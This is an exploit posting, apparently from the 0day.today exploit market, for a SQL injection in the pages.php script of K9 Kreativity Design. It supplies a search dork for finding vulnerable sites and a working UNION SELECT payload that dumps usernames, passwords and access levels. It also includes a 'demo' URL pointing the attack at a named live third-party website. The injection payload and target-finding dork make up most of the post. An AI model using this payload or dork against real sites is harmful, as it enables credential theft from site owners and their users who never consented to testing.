[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

K9 Kreativity Design (pages.php) SQL Injection Vulnerability

Author
Newbie_Campuz
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-12537
Category
web applications
Date add
03-06-2010
Platform
php
============================================================
K9 Kreativity Design (pages.php) SQL Injection Vulnerability
============================================================


##########################################################

[+] K9 Kreativity Design (pages.php) SQL Injection Vulnerability

[+] By Newbie_Campuz

[+] Published: 2010-06-02 Pukul 21.00 WIB

[+] jatimcrew.org/

##########################################################



# Script Homepage:
# http://www.k9kreativity.co.uk/

[+]Dork: "pages.php?page_ID=" "K9 Kreativity"

[+] SQL Injection


	http://[target]/pages.php?page_ID=[SQL]

	http://[target]/pages.php?page_ID=-9999%20union%20select%201,2,3,4,5,6,7,8,9,group_concat(username,0x3a,password,0x3a,user_accesslevel),11,12,13,14,15,16%20from%20user--


Demo : 	http://www.yanukagsds.co.uk/pages.php?page_ID=3

       	http://www.yanukagsds.co.uk/pages.php?page_ID=-9999%20union%20select%201,2,3,4,5,6,7,8,9,group_concat(username,0x3a,password,0x3a,user_accesslevel),11,12,13,14,15,16%20from%20user--

##########################################################
Thanks to Allah SWT n Nabi Muhammad SAW

Special Thanks to : 	
My Parent, My Brother n My Sister
Byz9991, Doraemon, Bang_Napi, Dark_anvanger, Kenthot_cakep, Bom2, Shamus, Chapzha, Ficarciruas, phoenixhaxor, mywisdom, 
Pr3tty, newbie_043, KidDevilz, Android2009, XcyberX, flyff666, inurl, Osean, Vhacx, jamsh0ut, elfata, vickry_shahab
cybermuttaqin, k3m4ngi, roentah, zhombhie, techno_x46 and YOU... !!!

All admin, momod, spamguard, staff and member Jatim Crew..
All admin, momod, spamguard, staff and member xteamweb
All admin, momod, spamguard, staff and member h2ozones

##########################################################




#  0day.today [2024-07-16]  #